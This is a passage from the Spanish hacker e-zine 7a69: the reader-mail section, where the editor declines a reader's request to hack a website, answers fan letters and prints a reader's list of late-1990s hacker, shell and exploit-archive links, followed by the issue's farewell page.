<Ripe: Si la verdad es que avanzamos algo
lentamente, tratare de acelerar un
poquito.
¨Los cursos al mail? Lo siento pero
no podra ser.>
Gracias por todo, saludos LuPa
<Ripe: De nada LeNtE, digo... LuPa>
-----------------------------------------------------------------------------
---{ 02 }--------------------------------------------------------------------
Son ya muchos los ezines que se pueden encontrar por la
red, cosa que no me desagrada, pero muchos de ellos
son de un nivel tan bajo que solo interesan a los mas
torpes (no he querido ofender a nadie), y al final acaban
por dejar de publicarse al cuarto numero. 7a69, empezo
con un nivel bajisimo, y sorprendentemente paso del numero
4. Y no solo eso, sino que el nivel ha subido muy
rapidamente. Solo queria felicitaros por el trabajo que
estais haciendo.
<Ripe: 9 numeros ya! :) Y creias que no
pasariamos del 4, jeje.
Gracias por las felicitaciones y los
animos (a ver si recibimos mas mails
como este :P)>
-----------------------------------------------------------------------------
---{ 03 }--------------------------------------------------------------------
Hola 7a69.
Tengo un problema muy grande, unos hackers colegas mios
han hackeado mi pagina web (que estaba en geocities), y
me gustaria que hackearais esta web (que es la de mis
colegas), me explicaseis como hacerlo:
http://XXXXXXXXXXXXXXXXXXXX
<Ripe: Por si acaso alguien se
anima no voy a dar la URL>
Quiero demostrarles a ello que yo tambien se hacer lo
que ellos me hicieron.
<Ripe: Lo siento man, pero no hacemos
hacks a medida, de todos modos si
te han hackeado la pagina de
geocities es porque les has dado
TU el password (aun que no te hayas
dado cuenta), lo mas seguro es que
te hallan pillado los pass del
cuteFTP, o que te hayan visto
introduciendolo alguna vez... vete
a saber como, pero eso es lo mas
probable>
-----------------------------------------------------------------------------
---{ 04 }--------------------------------------------------------------------
Buenas gente de 7269 soy Arn0l y desde argentina
les mando este mail.
<Ripe: Hola Arn0l :P>
<Ripe: ¨7269? ¨es el numero de
la ONCE? :P>
Esta parte es para que salga si quieren ud. en la
seccion el correo del lector.
<Ripe: Pues aqui lo tienes>
Bueno los felicito por su excelente e-zine y por
el laburo que hacen porque hay que tener ganas de
hacer una de estas magazine y encimas tan completa.
Me gusta mucho la seccion de linux muy buena y la de
C y algo sobre sockets.
En realidad soy un "novato" asi que sus textos me
sirven mucho.
<Ripe: Tiempo al tiempo, todo se
aprende en esta vida>
Bueno eso es todo! y decirles a los hackers de
argentina que se pongan las pilas y saquen ezines de
calidad ya que muchas se quedan el el tercer numero y
desaparecen. si ya se que no es facil hacer una pero
si los colegas espa¤oles pueden.
Bueno un saludo y sigan asi!!
PD:si consiguen algo de phreaking mandenlo urgente a
la ezine es un tema que es muy interesante y util =).
<Ripe: eso eso :)>
un saludo
by Arn0l
<Ripe: En la seccion curiosidades
podeis leer el articulo que
nuestro amigo Arn0l nos ha
mandado>
-----------------------------------------------------------------------------
---{ 05 }--------------------------------------------------------------------
Hola,
Hola, amigo Ripe, leo todos los numeros de
este magnifico e-zine de humor (tu ya lo sabes)
y la verda es ke me rio mucho.
Links interesantes:
www.microsoft.eu.org (burla al imperio)
www.2500hz.org (page de 2500hz ke falta de link en tu page)
www.apostols.org (grupo de hackers)
www.freeshells.org (shells gratis?)
www.shellyeah.org (lo mimmo ke el anterior)
www.clinton.org (VISITA OBLIGADA!)
www.geocities.com/Area51/Rampart/6331/hackers.html (Mr.T vs. Hackers
xD)
http://i.wanna.fuck.hillary.clinton.org/ (no preguntes como lo
enkontre...xD)
www.perpetual.net/kyle/railgun.html (komo montarse una railgun en
casa. Curioso la verdad... xD)
www.shellreview.com (info sobre proveedores de shells)
www.totalcoredump.org (pagina del grupo totalcoredump, muy lograda)
www.us-epanorama.net (TODO sobre electronica)
www.webcrunchers.com/tdd (pagina de The Den of the Demons Group of
Phreakers)
www.geocities.com/asturhack/asturhack.htm (pagina de asturhack
CLARAMENTE COPIADA de la
de tdd... los textos
parece ser ke tb son
copiados..)
http://i.am/jaquer (muy buena pagina xD)
www.hack-net.com (hack network)
www.jokewallpaper.com (fondos de escritorio muy buenos sobre M$)
http://members.dencity.com/parazite (pagina MUY buena, sacada de SET
sus textos no tiene desperdicio
i sus links tampoco)
http://members.xoom.com/pfdl (de esta pagina se puede bajar un zip
kon todos los textos de la pagina de
parazite)
http://tarcxzone.cjb.net (pagina de un SCRIPT de IRC. Aunke mas ke un
script es la combinacion de varios, p.e.
Tribe + eXtreme...)
http://i.am/kall (Si necesitais un Script bajaros este. Nota:
abstenerse lamers ke buscan un buen script de
irc-war...)
www.anarchyrules.com (anarkia y demas...)
www.cyberarmy.com (anononimizador, lista de wingates, lista de
proxies, lista de servidores SMTP ke admiten
relay... ;)
www.e-n-g.org (pagina de energia networking)
http://neworder.box.sk (textos, exploits y demas...)
http://packetstorm.securify.com (igual ke anterior)
www.rootshell.com (x-ploits)
Con esto hay para un buen rato de navegacion.
Nada mas.
Adeu Raip!
I'm t00 h4x0r f0r y0u
P.D.: De nada por lo del ventilador ;)
<Ripe: Solo falta que me devuelvas unos
cuantos CD's y un libro :P, ah, y
que me dejes probar la moto...>
_Lsd (MadTrackers)
_still alive!
-----------------------------------------------------------------------------
---{ 06 }--------------------------------------------------------------------
nas ripe & cia, mi sugerencia/queja es
q hablais poco del irc, por eso me
gustaria q pongaseis esto (por
articulos) en el e-zine, ta sacado de
http://www.esi.us.es/~roman/tacticas.html
ya se q solo habla de guerra pero es muy
interesante. Alla va: (lo siento si ocupa
mucho)
Tácticas de guerra en el IRC v.4.1
Por: RoMaN SoFt / LLFB (20/09/99)
<Ripe: Lamentamos no poner el
articulo, pero es que
buscamos mas bien articulos
de creacion propia, de todos
modos gracias>
<Ripe: Para los que quieran pueden
dirigirse a la web que nos
ha dado.....>
-----------------------------------------------------------------------------
---{ 07 }--------------------------------------------------------------------
El otro dia entaba dando vueltas por
internet, pasando por muchas paginas de
hackers, y casualmente me encontre con
vuestra web, he de decir que me gusta
mucho, pero que no me pude bajar ni el
numero 4 ni el 5 del ezine, porue no se
bajaba...
Solo, les mando el email para que
solucioneis este fallo.
<Ripe: pues gracias por el aviso,
trataremos de arreglarlo
cuanto antes>
-----------------------------------------------------------------------------
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º16.-
Despedida º Un numero mas º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Editor ]
Bueno, parece que seguimos dando la tabarra. Este es el primer numero de
nuestro segundo a¤o y a mi parecer no ha salido mal ¨Que creeis vosotros?.
La verdad es que ahora no se ocurre que escribir como despedida, por lo que
unicamente dire.....
HASTA EL PROXIMO NUMERO
#############################################################################
# NOTA: 7A69 es un E-Zine abierto, por lo que cualquira que quiera #
# colaborar con algun articulo solo tiene que mandarlo a: #
# #
# 7a69ezine@mixmail.com #
# #
# Se eperan especialmente articulos relacionados con el crack y #
# la telefonia, juer, a ver si se anima alguien que estamos #
# necesitadillos ;) #
#############################################################################
-----------------------------------------------------------------------------
Eso... eso... eso es todo.... amigos
-----------------------------------------------------------------------------
